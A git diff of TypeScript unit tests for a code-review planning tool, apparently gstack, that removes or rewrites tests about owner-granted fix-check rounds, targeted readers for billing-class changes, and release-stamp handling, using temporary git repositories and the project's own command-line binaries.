- expect(third.stdout).toContain(`NEXT: fix-check (the owner's grant ${g2} adds one scoped fix-check at the last fix-check's stop, a new link of the fix-check chain`);
- expect(third.stdout).toContain('DISPATCH: fix-check fix-check effort=full');
- expect(plan(['--fixed-blocking']).stdout).toContain('NEXT: stop');
- expect(plan(['--fixed-blocking', '--grant', g2, '--blocking-open']).stdout).toContain('NEXT: stop');
- expect(plan(['--fixed-blocking', '--grant', g3]).stdout).toContain('NEXT: stop');
- const reused = plan(['--fixed-blocking', '--grant', g1]);
- expect([reused.status, reused.stdout]).toEqual([3, '']);
- expect(reused.stderr).toContain(`--grant ${g1}: no approved row ${g1} naming review_loop_grant and this invocation's stop head (a commit at or after --range-base ${fc2}`);
- const gbra336 = plan(['--post-review', '--grant', g3]);
- expect(gbra336.status, gbra336.stderr).toBe(0);
- expect(gbra336.stdout).toContain(`NEXT: fix-check (edits after the review bound (Step 16 stage 2.1) plan as a fix to a gate-class path, never a note: the owner's grant ${g3} adds one scoped fix-check for the edits after the last fix-check`);
- expect(plan(['--post-review', '--grant', g2]).status).toBe(3);
- }, 30_000);
- // Value: protects=one grant buys one link in the loop too: a grant recorded before a later logged fix-check already bought that
- // fix-check (a post-review link's grant names the commit its fix-check read; a stale --range-base names an earlier link), so the
- // in-loop replan refuses it, while a grant recorded after the newest fix-check plans; fails_when=a spent grant plans another
- // paid fix-check that finish cannot count (the GST-1681 /ship review: red-team#1, specialist#1); seam=bin/gstack-review-plan;
- // no_claim=finish's chain count (test/ship-finish-ruled-notes.test.ts)
- test('GST-1681: in the loop, a grant recorded before a later logged fix-check is spent and refused', () => {
- const r = repo({ 'src/a.ts': 'export const a = 1;\n' });
- const env: NodeJS.ProcessEnv = { ...process.env, GSTACK_STATE_ROOT: r.state, GSTACK_APPROVALS_MIRROR: '0' };
- delete env.GSTACK_APPROVALS_DIR;
- const git = (...a: string[]) => spawnSync('git', a, { cwd: r.dir, encoding: 'utf8', timeout: 10_000 }).stdout.trim();
- const commit = (n: number) => { fs.appendFileSync(path.join(r.dir, 'src/a.ts'), `export const v${n} = ${n};\n`); git('commit', '-qam', `c${n}`); return git('rev-parse', 'HEAD'); };
- const add = (stop: string, n: string) => {
- const a = spawnSync(path.join(path.dirname(BIN), 'gstack-approvals'), ['add', '--ask', `Owner grant: scoped fix-check ${n} (review_loop_grant ${stop.slice(0, 12)})`, '--words', 'do it', '--by', 'GStack Minder', '--scope', 'this /ship invocation', '--json'], { cwd: r.dir, encoding: 'utf8', timeout: 60_000, env });
- expect(a.status, a.stderr).toBe(0);
- return JSON.parse(a.stdout).added[0] as string;
- };
- const logFixCheck = () => {
- const l = spawnSync(path.join(path.dirname(BIN), 'gstack-review-log'), [JSON.stringify({ skill: 'review-fix-check', timestamp: new Date().toISOString(), status: 'clean', via: 'ship', completed: true, converged: true })], { cwd: r.dir, encoding: 'utf8', timeout: 60_000, env });
- expect(l.status, l.stderr).toBe(0);
- };
- const fc1 = commit(1);
- logFixCheck();
- const g1 = add(fc1, 'fc2');
- commit(2);
- logFixCheck();
- const c = commit(3);
- const gc = add(c, 'post-review link at c');
- logFixCheck();
- commit(4);
- const plan = (rangeBase: string, grant: string) => spawnSync(BIN, ['--base', 'main', '--gate-tagged', '0', '--pass', '1', '--last', 'fix-check', '--fix-checks', '3', '--fixed-blocking', '--range-base', rangeBase, '--grant', grant], { cwd: r.dir, encoding: 'utf8', timeout: 60_000, env });
- for (const [rangeBase, grant] of [[c, gc], [fc1, g1]] as const) {
- const spent = plan(rangeBase, grant);
- expect([spent.status, spent.stdout]).toEqual([3, '']);
- expect(spent.stderr).toContain(`--grant ${grant}: a fix-check was logged after this grant was recorded, so the grant already bought a link of the fix-check chain`);
- }
- const fresh = add(c, 'fc5');
- const next = plan(c, fresh);
- expect(next.status, next.stderr).toBe(0);
- expect(next.stdout).toContain(`NEXT: fix-check (the owner's grant ${fresh} adds one scoped fix-check at the last fix-check's stop`);
- }, 30_000);
- test('--fix-check-prompt renders the fix-check reviewer prompt from the parent\'s files and refuses a missing one', () => {
- const r = repo({ 'docs/howto.md': '# x\n' });
- const w = (n: string, t: string) => { const f = path.join(r.state, n); fs.writeFileSync(f, t); return f; };
- const files = ['--fix-list', w('fix.txt', 'lib/a.ts:3 guard now refuses unknown'), '--hunks', w('hunks.diff', '+if (s !== "MERGED") return false;'), '--tests', w('tests.txt', '12 pass 0 fail')];
- const ok = spawnSync(BIN, ['--fix-check-prompt', ...files], { cwd: r.dir, encoding: 'utf8', timeout: 60_000 });
- expect(ok.status).toBe(0);
- expect(ok.stdout).toContain('You are the fix-check reviewer');
- expect(ok.stdout).toContain('lib/a.ts:3 guard now refuses unknown');
- expect(ok.stdout).toContain('(none found)');
- const missing = spawnSync(BIN, ['--fix-check-prompt', '--fix-list', path.join(r.state, 'nope.txt'), '--hunks', files[3]!, '--tests', files[5]!], { cwd: r.dir, encoding: 'utf8', timeout: 60_000 });
- expect(missing.status).toBe(2);
- });
test('untracked files count, a version-only package.json bump stays docs, and review_effort_tiers off renders audits at host effort', () => {
const r = repo({ 'docs/a.md': '# a\n' });
const git = (...a: string[]) => spawnSync('git', a, { cwd: r.dir, encoding: 'utf8', timeout: 10_000 });
diff --git a/test/review-plan-granted-targeted.test.ts b/test/review-plan-granted-targeted.test.ts
deleted file mode 100644
index 224341bc2..000000000
--- a/test/review-plan-granted-targeted.test.ts
+++ /dev/null
@@ -1,99 +0,0 @@
-import { afterEach, describe, expect, test } from 'bun:test';
-import { spawnSync } from 'node:child_process';
-import * as fs from 'node:fs';
-import * as os from 'node:os';
-import * as path from 'node:path';
-import { parseReviewTargeted, plainDocsSince, targetedClassesSince } from '../lib/ship-receipt-depth';
-
-const BIN = path.join(import.meta.dir, '..', 'bin');
-const dirs: string[] = [];
-afterEach(() => { while (dirs.length) fs.rmSync(dirs.pop()!, { recursive: true, force: true }); });
-
-const money = (cap: number) => `export const spendCapUsd = ${cap};\nexport function charge(amountUsd: number) { if (amountUsd > spendCapUsd) throw new Error("over cap"); return amountUsd; }\n`;
-
-/**
- * The harness-evals #271 shape: the targeted reader read R, the loop stopped at the cap on S (a fix after R), the owner
- * granted one scoped fix-check naming S, and the granted round's fix commit moved HEAD past S.
- */
-function granted(file: string, body: (n: number) => string) {
- const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'granted-targeted-'));
- const state = fs.mkdtempSync(path.join(os.tmpdir(), 'granted-targeted-state-'));
- dirs.push(dir, state);
- const env: NodeJS.ProcessEnv = { ...process.env, GSTACK_STATE_ROOT: state, GSTACK_APPROVALS_MIRROR: '0' };
- delete env.GSTACK_APPROVALS_DIR;
- const git = (...a: string[]) => spawnSync('git', a, { cwd: dir, encoding: 'utf8', timeout: 10_000 }).stdout.trim();
- const commit = (files: Record<string, string>, msg: string) => {
- for (const [p, text] of Object.entries(files)) { fs.mkdirSync(path.dirname(path.join(dir, p)), { recursive: true }); fs.writeFileSync(path.join(dir, p), text); }
- git('add', '.'); git('commit', '-qm', msg);
- return git('rev-parse', 'HEAD');
- };
- git('init', '-q', '-b', 'main'); git('config', 'user.email', 't@t'); git('config', 'user.name', 't'); git('config', 'commit.gpgsign', 'false');
- commit({ 'README.md': '# x\n' }, 'base');
- git('checkout', '-qb', 'feat');
- const read = commit({ [file]: body(25) }, 'feature');
- const plan = (args: string[]) => spawnSync(path.join(BIN, 'gstack-review-plan'), ['--base', 'main', '--gate-tagged', '0', ...args], { cwd: dir, encoding: 'utf8', timeout: 60_000, env });
- const patchOf = () => JSON.parse(plan(['--json']).stdout).targeted.targeted_patch_id as string;
- const readPatch = patchOf();
- const stop = commit({ [file]: body(30) }, 'round 2 fix');
- const add = spawnSync(path.join(BIN, 'gstack-approvals'), ['add', '--ask', `Owner grant: one scoped fix-check after round 2 (review_loop_grant ${stop.slice(0, 12)})`, '--words', 'do it', '--by', 'GStack Minder', '--scope', 'this /ship invocation', '--json'], { cwd: dir, encoding: 'utf8', timeout: 60_000, env });
- expect(add.status, add.stderr).toBe(0);
- const grant = JSON.parse(add.stdout).added[0] as string;
- const head = commit({ [file]: body(35) }, 'granted round fix');
- const doneArgs = (ran: string) => ['--pass', '2', '--last', 'fix-check', '--fix-checks', '1', '--range-base', read, '--targeted-ran', ran];
- return { dir, read, readPatch, head, grant, plan, patchOf, doneArgs };
-}
-const dispatches = (stdout: string) => stdout.split('\n').filter(l => l.startsWith('DISPATCH: '));
-
-describe('GST-1607: a granted fix round after the targeted read gets one targeted-only reader', () => {
- // Value: protects=the #271 shape has an exit: after the granted fix-check the loop is done, the granted round's fix moved the
- // product patch the targeted record names, and with that grant the plan dispatches exactly one targeted reader for the head's
- // classes, then plans done once its id comes back; the receipt refuses the record read before the fix and binds the one read
- // at HEAD; fails_when=the plan prints NEXT: done with no reader (harness-evals #271), or keeps dispatching after the read;
- // seam=bin/gstack-review-plan, parseReviewTargeted with the receipt's own carry predicates; no_claim=what the reader finds
- test('the #271 shape: one targeted reader under the grant, then the receipt binds its record', () => {
- const r = granted('src/billing.ts', money);
- const p = r.plan([...r.doneArgs(r.readPatch), '--grant', r.grant]);
- expect(p.status, p.stderr).toBe(0);
- expect(p.stdout).toContain(`NEXT: targeted (the loop is done and the owner's grant ${r.grant}`);
- expect(dispatches(p.stdout)).toEqual(['DISPATCH: targeted targeted effort=full classes=money']);
- expect(p.stdout).toContain(`TARGETED_DELTA: range_base=${r.read} paths=src/billing.ts classes=money`);
- const after = r.plan([...r.doneArgs(r.patchOf()), '--grant', r.grant]);
- expect(after.stdout).toContain('NEXT: done');
- expect(dispatches(after.stdout)).toEqual([]);
- const record = (at: string) => ({ classes: ['money'], rules: 'r', brief_sha: 'a'.repeat(64), status: 'done', findings: 0, raised_by: 'targeted', head: at });
- const productOf = (c: string) => spawnSync('git', ['patch-id', '--verbatim'], { input: spawnSync('git', ['diff', 'main', c], { cwd: r.dir, encoding: 'utf8', timeout: 10_000 }).stdout, cwd: r.dir, encoding: 'utf8', timeout: 10_000 }).stdout.split(' ')[0];
- const bind = (at: string) => parseReviewTargeted(record(at), productOf(r.head)!, productOf, from => targetedClassesSince(r.dir, from, r.head, 'main'), from => plainDocsSince(r.dir, from, r.head, 'main'));
- expect(bind(r.read).ok).toBe(false);
- expect(bind(r.head)).toMatchObject({ ok: true, targeted: { classes: ['money'], status: 'done' } });
- });
-
- // Value: protects=a granted round on a head with no targeted class adds no reader; fails_when=the grant alone dispatches the targeted
- // reader; seam=bin/gstack-review-plan; no_claim=the fix-check itself
- test('a granted fix on a head with no targeted class adds no reader', () => {
- const r = granted('src/format.ts', n => `export const width = ${n};\nexport const pad = (s: string) => s.padEnd(width);\n`);
- const p = r.plan([...r.doneArgs(r.readPatch), '--grant', r.grant]);
- expect(p.status, p.stderr).toBe(0);
- expect(p.stdout).toContain('TARGETED: classes=none');
- expect(p.stdout).toContain('NEXT: done');
- expect(dispatches(p.stdout)).toEqual([]);
- });
-
- // Value: protects=without the owner's grant a code change after the read keeps today's route; fails_when=a code change alone
- // dispatches the targeted-only reader; seam=bin/gstack-review-plan; no_claim=how finish routes it
- test('the same code change with no grant keeps done', () => {
- const r = granted('src/billing.ts', money);
- const p = r.plan(r.doneArgs(r.readPatch));
- expect(p.stdout).toContain('NEXT: done');
- expect(dispatches(p.stdout)).toEqual([]);
- expect(p.stdout).toContain('SKIP: targeted-only read (the change since range_base');
- });
-
- // Value: protects=a grant the approval record does not hold refuses before any plan; fails_when=a fabricated --grant prints a plan or
- // dispatches the reader; seam=bin/gstack-review-plan's grant check; no_claim=who may grant
- test('a fabricated grant refuses', () => {
- const r = granted('src/billing.ts', money);
- const p = r.plan([...r.doneArgs(r.readPatch), '--grant', 'a-000000000000']);
- expect([p.status, p.stdout]).toEqual([3, '']);
- expect(p.stderr).toContain('--grant a-000000000000');
- });
-});
diff --git a/test/review-plan-merged-range.test.ts b/test/review-plan-merged-range.test.ts
index cf103c7e4..fb32dade1 100644
--- a/test/review-plan-merged-range.test.ts
+++ b/test/review-plan-merged-range.test.ts
@@ -14,8 +14,8 @@ const bootstrap = '#!/usr/bin/env bash\nset -euo pipefail\n' + Array.from({ leng
const pregate = (stages: string[]) => JSON.stringify({ stages: stages.map(name => ({ name, run: `bun test ${name}` })) }, null, 2) + '\n';
/**
- * The harness-evals #354 shape: the targeted reader read R, the loop stopped at the cap on S (a fix after R), the owner granted one
- * scoped fix-check naming S, and then a plain main merge brought gate-class content (an executable bootstrap script and
+ * The harness-evals #354 shape: the targeted reader read R, round 1 fixed a below-floor finding after R, and then a plain main
+ * merge brought gate-class content (an executable bootstrap script and
* .gstack/pregate.json) next to the PR's own small change since R: a changelog fragment, a docs line and a manifest line.
*/
function merged(own: Record<string, string>) {
@@ -36,42 +36,38 @@ function merged(own: Record<string, string>) {
const read = commit({ 'src/billing.ts': money(25) }, 'feature');
const plan = (args: string[]) => spawnSync(path.join(BIN, 'gstack-review-plan'), ['--base', 'main', '--gate-tagged', '0', ...args], { cwd: dir, encoding: 'utf8', timeout: 60_000, env });
const ran = JSON.parse(plan(['--json']).stdout).targeted.targeted_patch_id as string;
- const stop = commit({ 'src/billing.ts': money(30) }, 'round 2 fix');
- const add = spawnSync(path.join(BIN, 'gstack-approvals'), ['add', '--ask', `Owner grant: one scoped fix-check after round 2 (review_loop_grant ${stop.slice(0, 12)})`, '--words', 'do it', '--by', 'GStack Minder', '--scope', 'this /ship invocation', '--json'], { cwd: dir, encoding: 'utf8', timeout: 60_000, env });
- expect(add.status, add.stderr).toBe(0);
- const grant = JSON.parse(add.stdout).added[0] as string;
+ commit({ 'src/billing.ts': money(30) }, 'round 1 fix');
git('checkout', '-q', 'main');
commit({ 'scripts/ubicloud/bootstrap.sh': bootstrap, '.gstack/pregate.json': pregate(['unit', 'e2e', 'smoke']) }, 'main: ubicloud bootstrap');
fs.chmodSync(path.join(dir, 'scripts/ubicloud/bootstrap.sh'), 0o755); git('add', '.'); git('commit', '-qm', 'main: executable bootstrap');
git('checkout', '-q', 'feat');
expect(spawnSync('git', ['merge', '-q', '--no-edit', 'main'], { cwd: dir, encoding: 'utf8', timeout: 10_000 }).status).toBe(0);
commit(own, 'own change after the merge');
- return plan(['--pass', '2', '--last', 'fix-check', '--fix-checks', '1', '--range-base', read, '--targeted-ran', ran, '--grant', grant]);
+ return plan(['--pass', '1', '--last', 'full', '--fixed-below', '--range-base', read, '--targeted-ran', ran]);
}
const lineOf = (stdout: string, key: string) => stdout.split('\n').find(l => l.startsWith(`${key}: `)) ?? '';
const small = { 'changelog.d/billing-cap.md': '- **Billing cap documented.**\n', 'docs/README.md': '# Docs\n\nIntro, with the billing cap.\n', 'manifest.json': '{\n "name": "x",\n "files": ["src", "docs"]\n}\n' };
describe('the fix range counts only the PR\'s own change after a main merge (GST-2229, harness-evals #354)', () => {
// Value: protects=a plain main merge since --range-base does not make gate-class content main already shipped count as the PR's
- // own fix range: with the owner's grant and a small own change, the plan prints the one targeted-only read;
+ // own fix range: with a small own change, round 2 is the plain full pass, not a gate-class one;
// fails_when=the fix range diffs --range-base against HEAD, so main's bootstrap script and pregate.json mark it touched_gate and the
- // plan stops or asks for Step 11's voices (harness-evals #354: next=voices); seam=bin/gstack-review-plan's fix range;
+ // plan reads round 2 as a gate-class fix (harness-evals #354: next=voices); seam=bin/gstack-review-plan's fix range;
// no_claim=what the targeted reader finds
- test('main\'s merged gate-class files leave the fix range, and the grant gets its targeted-only read', () => {
+ test('main\'s merged gate-class files leave the fix range, and round 2 is the plain full pass', () => {
const p = merged(small);
expect(p.status, p.stderr).toBe(0);
expect(Number(/^FIX_RANGE: runtime_lines=(\d+) /.exec(lineOf(p.stdout, 'FIX_RANGE'))?.[1])).toBeLessThan(10);
- expect(lineOf(p.stdout, 'NEXT')).toStartWith('NEXT: targeted (the loop is done');
- expect(p.stdout).toContain('DISPATCH: targeted targeted effort=full classes=money');
+ expect(lineOf(p.stdout, 'NEXT')).toStartWith('NEXT: full (below-floor fixes changed code after round 1');
+ expect(p.stdout).not.toContain('gate-class');
});
// Value: protects=hold: a gate-class edit in the PR's own change since --range-base still escalates after the same merge;
- // fails_when=measuring the PR's own change drops its own pregate.json edit and the plan prints the targeted-only read;
+ // fails_when=measuring the PR's own change drops its own pregate.json edit and round 2 reads as a plain fix;
// seam=bin/gstack-review-plan's fix range; no_claim=none
test('the PR\'s own pregate.json edit after the merge still marks the fix range gate class', () => {
const p = merged({ ...small, '.gstack/pregate.json': pregate(['unit', 'e2e', 'smoke', 'billing']) });
expect(p.status, p.stderr).toBe(0);
- expect(lineOf(p.stdout, 'NEXT')).toMatch(/^NEXT: (stop|voices) .*the fix-check edited a gate-class path/);
- expect(p.stdout).not.toContain('TARGETED_DELTA:');
+ expect(lineOf(p.stdout, 'NEXT')).toBe('NEXT: full (a fix touched a gate-class path: full pass on the range)');
});
});
diff --git a/test/review-plan-post-review-stamps.test.ts b/test/review-plan-post-review-stamps.test.ts
index 209064c7e..6d8e1d1e0 100644
--- a/test/review-plan-post-review-stamps.test.ts
+++ b/test/review-plan-post-review-stamps.test.ts
@@ -1,10 +1,9 @@
/**
- * GST-1702 (GBRA-341, gbrain #8705): after an owner-granted fix-check, only release stamps and a docs-audit edit followed (VERSION,
- * package.json, .claude-plugin/plugin.json, a BOOTSTRAP stamp comment, the CHANGELOG re-heading, a behavior-change row's
- * since: 'TBD' moved to the version under stamp_patterns and stamp_placeholders, and a docs line). gstack-ship-receipt write
- * carries the targeted record across that delta (GST-1689's docsChangeSince), and gstack-review-plan --post-review --last
- * fix-check classifies the same delta with the same classifier: it is no gate-class edit, so the plan is done, or targeted when
- * the docs rule says a claim needs the read. Any non-stamp line in a stamp file still counts as an edit and stops.
+ * GST-1702 (GBRA-341, gbrain #8705): after the targeted reader read the PR, only release stamps and a docs-audit edit followed
+ * (VERSION, package.json, .claude-plugin/plugin.json, a BOOTSTRAP stamp comment, the CHANGELOG re-heading, a behavior-change
+ * row's since: 'TBD' moved to the version under stamp_patterns and stamp_placeholders, and a docs line). gstack-ship-receipt
+ * write carries the targeted record across that delta (GST-1689's docsChangeSince), unless the docs rule says a claim needs the
+ * read or a stamp file gains a non-stamp line.
*/
import { afterEach, describe, expect, setDefaultTimeout, test } from 'bun:test';
import * as fs from 'node:fs';
@@ -37,24 +36,23 @@ const commit = (repo: FixtureRepo, files: Record<string, string>, msg: string) =
const read = (repo: FixtureRepo, f: string) => fs.readFileSync(path.join(repo.work, f), 'utf8');
/**
- * A branch with the GBRA-341 shape up to the fix-check: a money-class change (or a plain code change with money false), a
- * behavior-change row at since: 'TBD' and an [Unreleased] CHANGELOG entry, then the fix-check's commit, which the targeted
- * reader read clean through the real dispatch steps.
+ * A branch with the GBRA-341 shape: a money-class change, a behavior-change row at
+ * since: 'TBD' and an [Unreleased] CHANGELOG entry, then a round-1 fix, which the targeted reader read clean through the real
+ * dispatch steps.
*/
-function fixChecked(money = true): { repo: FixtureRepo; fc: string; record: string } {
+function targetedRead(): { repo: FixtureRepo; record: string } {
const repo = makeFixtureRepo({ prefix: 'gst1702-', policy: POLICY });
repos.push(repo);
commit(repo, { '.claude-plugin/plugin.json': plugin('1.2.3.0'), 'BOOTSTRAP_FOR_AGENTS.md': bootstrap('1.2.3.0'), 'src/core/behavior-change-notice.ts': NOTICE_BASE }, 'manifests');
repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-q', '-b', 'feat');
const changelog = read(repo, 'CHANGELOG.md').replace('# Changelog\n', '# Changelog\n\n## [Unreleased]\n\n- Adds the new notice.\n');
- const [file, code] = money ? ['src/charge.ts', 'export const spend_cap_usd = 5;\n'] : ['src/greet.ts', 'export const greeting = "hi";\n'];
+ const [file, code] = ['src/charge.ts', 'export const spend_cap_usd = 5;\n'];
commit(repo, { [file]: code, 'src/core/behavior-change-notice.ts': NOTICE_BASE.replace('];', " { id: 'new', since: 'TBD' },\n];"), 'CHANGELOG.md': changelog }, 'feature');
- const fc = commit(repo, { [file]: code + 'export const retries = 2;\n' }, 'granted fix-check fix');
+ commit(repo, { [file]: code + 'export const retries = 2;\n' }, 'round 1 fix');
const out = path.join(repo.root, 'read');
const ledger = path.join(out, 'review-ledger.jsonl');
const record = path.join(repo.root, 'targeted.json');
- if (!money) return { repo, fc, record };
const render = runBin(repo, 'gstack-review-dispatch', ['render', '--role', 'targeted', '--classes', 'money', '--diff-base', repo.git('merge-base', 'origin/main', 'HEAD'), '--out', out]);
expect(render.status, render.err).toBe(0);
expect(runBin(repo, 'gstack-review-dispatch', ['sent', '--ledger', ledger, '--role', 'targeted', '--sent', /file=(\S+)/.exec(render.out)![1]!]).status).toBe(0);
@@ -63,7 +61,7 @@ function fixChecked(money = true): { repo: FixtureRepo; fc: string; record: stri
fs.writeFileSync(path.join(out, 'judged.jsonl'), '');
expect(runBin(repo, 'gstack-review-dispatch', ['judge', '--ledger', ledger, '--merged', path.join(out, 'merged.jsonl'), '--judged', path.join(out, 'judged.jsonl')]).status).toBe(0);
expect(runBin(repo, 'gstack-review-dispatch', ['verify', '--ledger', ledger, '--targeted-out', record]).out).toContain('TARGETED_RECORD: classes=money status=done findings=0 ');
- return { repo, fc, record };
+ return { repo, record };
}
/** /ship's release stamp to 1.2.4.0, committed: VERSION, package.json, plugin.json, the BOOTSTRAP comment, the TBD row and the CHANGELOG heading. */
@@ -80,105 +78,40 @@ function stamp(repo: FixtureRepo, edits: { plugin?: string; notice?: string; boo
const docsAudit = (repo: FixtureRepo, line = 'Read the overview first, then the walkthrough.') => commit(repo, { 'docs/run-order.md': `# Run order\n\n${line}\n` }, 'Step 14.5 docs audit');
const write = (repo: FixtureRepo, record: string) => runBin(repo, 'gstack-ship-receipt', ['write', '--base', 'main', '--session-kind', 'unattended', '--review-targeted', `@${record}`, '--json']);
-/** GBRA-341's invocation: Step 16's Step 9 after the granted fix-check. */
-const postReview = (repo: FixtureRepo, fc: string) => runBin(repo, 'gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--post-review', '--pass', '1', '--last', 'fix-check', '--fix-checks', '1', '--range-base', fc]);
const dispatches = (out: string) => out.split('\n').filter(l => l.startsWith('DISPATCH: '));
-describe('GST-1702: release stamps and a docs-audit edit after the last fix-check are no gate-class edit', () => {
+describe('GST-1702: release stamps and a docs-audit edit after the targeted read carry its record', () => {
// Value: protects=GBRA-341's delta (manifest stamps, a BOOTSTRAP stamp comment, a since: 'TBD' row moved to the version in a
- // code file, the CHANGELOG re-heading and a plain docs line) after the fix-check the targeted reader read: write binds the
- // record and the post-review plan is done; fails_when=write refuses RECEIPT_INVALID or the plan stops on 'the fix-check edited
- // a gate-class path' (GBRA-341 needed a second owner grant and a fix-check on a 39-line stamp delta);
- // seam=gstack-ship-receipt write --review-targeted and gstack-review-plan --post-review --last fix-check
- test('stamps plus a plain docs-audit edit: write binds the record and the post-review plan is done', () => {
- const { repo, fc, record } = fixChecked();
+ // code file, the CHANGELOG re-heading and a plain docs line) after the targeted read: write binds the record;
+ // fails_when=write refuses RECEIPT_INVALID on a stamp delta; seam=gstack-ship-receipt write --review-targeted
+ test('stamps plus a plain docs-audit edit: write carries the targeted record', () => {
+ const { repo, record } = targetedRead();
stamp(repo);
docsAudit(repo);
const w = write(repo, record);
expect(w.status, w.err).toBe(EXIT.ok);
expect(JSON.parse(w.out).review_targeted).toMatchObject({ classes: ['money'], status: 'done' });
- const p = postReview(repo, fc);
- expect(p.status, p.err).toBe(0);
- expect(p.out).toContain('NEXT: done');
- expect(p.out).not.toContain('edited a gate-class path');
- expect(p.out).toContain(`the edits after the last fix-check ${fc.slice(0, 12)} are plain docs and release stamps`);
- expect(dispatches(p.out)).toEqual([]);
- });
-
- // Value: protects=stamps alone after the fix-check plan done too; fails_when=an empty docs remainder counts as an edit;
- // seam=gstack-review-plan --post-review
- test('stamps alone: the post-review plan is done', () => {
- const { repo, fc } = fixChecked();
- stamp(repo);
- const p = postReview(repo, fc);
- expect(p.out).toContain('NEXT: done');
- expect(p.out).toContain(`the edits after the last fix-check ${fc.slice(0, 12)} are release stamps`);
- expect(dispatches(p.out)).toEqual([]);
});
// Value: protects=a stamp match is line-exact: a real field added to plugin.json, or a code line added to the behavior-change
- // file, beside the stamps still stops for the owner; fails_when=a stamp file's other lines ride the stamp;
- // seam=gstack-review-plan --post-review
- test('a non-stamp line in plugin.json or in the behavior-change file still stops', () => {
+ // file, beside the stamps keeps write from carrying the record; fails_when=a stamp file's other lines ride the stamp;
+ // seam=gstack-ship-receipt write --review-targeted
+ test('a non-stamp line in plugin.json or in the behavior-change file: write refuses the targeted record', () => {
for (const edits of [{ plugin: ',\n "main": "dist/index.js"' }, { notice: 'export const NOTICE_LIMIT = 3;\n' }]) {
- const { repo, fc } = fixChecked();
+ const { repo, record } = targetedRead();
stamp(repo, edits);
docsAudit(repo);
- const p = postReview(repo, fc);
- expect(p.status, p.err).toBe(0);
- expect(p.out).toContain("NEXT: stop (edits after the review bound (Step 16 stage 2.1) plan as a fix to a gate-class path, never a note: the fix-check edited a gate-class path");
+ expect(write(repo, record).status).toBe(EXIT.fail);
}
});
- // Value: protects=on a money-class PR a docs-audit line with a numeric claim after the fix-check still plans the one targeted
- // reader on HEAD (and write still refuses the record); fails_when=the carry lets a claim through; seam=gstack-review-plan
- // --post-review and gstack-ship-receipt write
- test('a docs edit with a numeric claim on a money-class PR plans the targeted read', () => {
- const { repo, fc, record } = fixChecked();
+ // Value: protects=on a money-class PR a docs-audit line with a numeric claim after the targeted read still needs the read;
+ // fails_when=the carry lets a claim through; seam=gstack-ship-receipt write --review-targeted
+ test('a docs edit with a numeric claim on a money-class PR: write refuses the targeted record', () => {
+ const { repo, record } = targetedRead();
stamp(repo);
docsAudit(repo, 'Each run now finishes 40% faster.');
expect(write(repo, record).status).toBe(EXIT.fail);
- const p = postReview(repo, fc);
- expect(p.status, p.err).toBe(0);
- expect(p.out).toContain('NEXT: targeted');
- expect(dispatches(p.out)).toEqual(['DISPATCH: targeted targeted effort=full classes=money']);
- expect(p.out).toContain(`TARGETED_DELTA: range_base=${fc} paths=docs/run-order.md classes=money`);
- });
-
- // Value: protects=a numeric claim on a PR with no targeted class needs no read: the plan is done; fails_when=the claim stops or
- // dispatches a reader the docs rule does not ask for; seam=gstack-review-plan --post-review
- test('a docs edit with a numeric claim on a PR with no targeted class is done', () => {
- const { repo, fc } = fixChecked(false);
- stamp(repo);
- docsAudit(repo, 'Each run now finishes 40% faster.');
- const p = postReview(repo, fc);
- expect(p.status, p.err).toBe(0);
- expect(p.out).toContain('NEXT: done');
- expect(dispatches(p.out)).toEqual([]);
- });
-
- // Value: protects=an executable file with a docs extension after the fix-check is code to the gate, not a docs-audit edit;
- // fails_when=the carry reads the path name alone and plans done for an unreviewed script; seam=gstack-review-plan --post-review
- test('an executable docs-extension file after the fix-check still stops', () => {
- const { repo, fc } = fixChecked(false);
- stamp(repo);
- fs.mkdirSync(path.join(repo.work, 'docs'), { recursive: true });
- fs.writeFileSync(path.join(repo.work, 'docs/task.md'), '#!/bin/sh\necho hi\n', { mode: 0o755 });
- repo.git('add', '-A'); repo.git('update-index', '--chmod=+x', 'docs/task.md'); repo.git('commit', '-q', '-m', 'Step 14.5 docs audit');
- const p = postReview(repo, fc);
- expect(p.status, p.err).toBe(0);
- expect(p.out).toContain('NEXT: stop (edits after the review bound (Step 16 stage 2.1) plan as a fix to a gate-class path');
- });
-
- // Value: protects=a commit the gate scan tags after the fix-check (a [skip ci] message on a docs-audit commit) keeps the stop;
- // fails_when=the carry drops the range's gate tag and plans done; seam=gstack-review-plan --post-review
- test('a docs-audit commit with [skip ci] after the fix-check still stops', () => {
- const { repo, fc } = fixChecked(false);
- stamp(repo);
- commit(repo, { 'docs/run-order.md': '# Run order\n\nRead the overview first.\n' }, 'Step 14.5 docs audit [skip ci]');
- const p = postReview(repo, fc);
- expect(p.status, p.err).toBe(0);
- expect(p.out).toContain('NEXT: stop (edits after the review bound (Step 16 stage 2.1) plan as a fix to a gate-class path');
});
});
diff --git a/test/review-plan-pr-rounds.test.ts b/test/review-plan-pr-rounds.test.ts
index dc33d5172..c48ed7c29 100644
--- a/test/review-plan-pr-rounds.test.ts
+++ b/test/review-plan-pr-rounds.test.ts
@@ -82,19 +82,6 @@ describe('PR round cap', () => {
}
});
- // GST-2968 (matrix row G3): the granted round keeps its fix round (gstack#4272: the grant raised the cap by one, so a blocker the
- // granted pass fixed stopped again at PR_ROUND_CAP), and nothing past it.
- test('a round grant buys one more full round at its head with its fix round, never two', () => {
- expect(nextStep(h({ priorFull: 2, roundGrant: 'a-1' })).step).toBe('full');
- expect(nextStep(h({ priorFull: 3, roundGrant: 'a-1' }))).toMatchObject({ step: 'full', reason: expect.stringContaining('read-only final review') });
- for (const depth of ['standard', 'full'] as const) {
- const fix = nextStep(h({ priorFull: 2, roundGrant: 'a-1', fullPasses: 1, last: 'full', fixedBlocking: true }), depth);
- expect(['full', 'scoped']).toContain(fix.step);
- expect(fix.reason).toContain("round grant a-1 bought pass 1 as this PR's full round 3, and this is that round's fix round");
- }
- expect(nextStep(h({ priorFull: 2, roundGrant: 'a-1', fullPasses: 2, last: 'full', fixedBlocking: true }), 'standard').step).toBe('stop');
- expect(nextStep(h({ priorFull: 2, fullPasses: 1, last: 'full', fixedBlocking: true }), 'standard').reason).toStartWith('PR_ROUND_CAP');
- });
test('gate class still runs Step 11\'s voices before the PR cap stop', () => {
expect(nextStep(h({ priorFull: 2, fullPasses: 1, last: 'full', blockingOpen: true, gate: true, adversarialRan: false }), 'standard').step).toBe('voices');
diff --git a/test/review-plan-targeted-delta.test.ts b/test/review-plan-targeted-delta.test.ts
index dffa3e57c..0b933e2cc 100644
--- a/test/review-plan-targeted-delta.test.ts
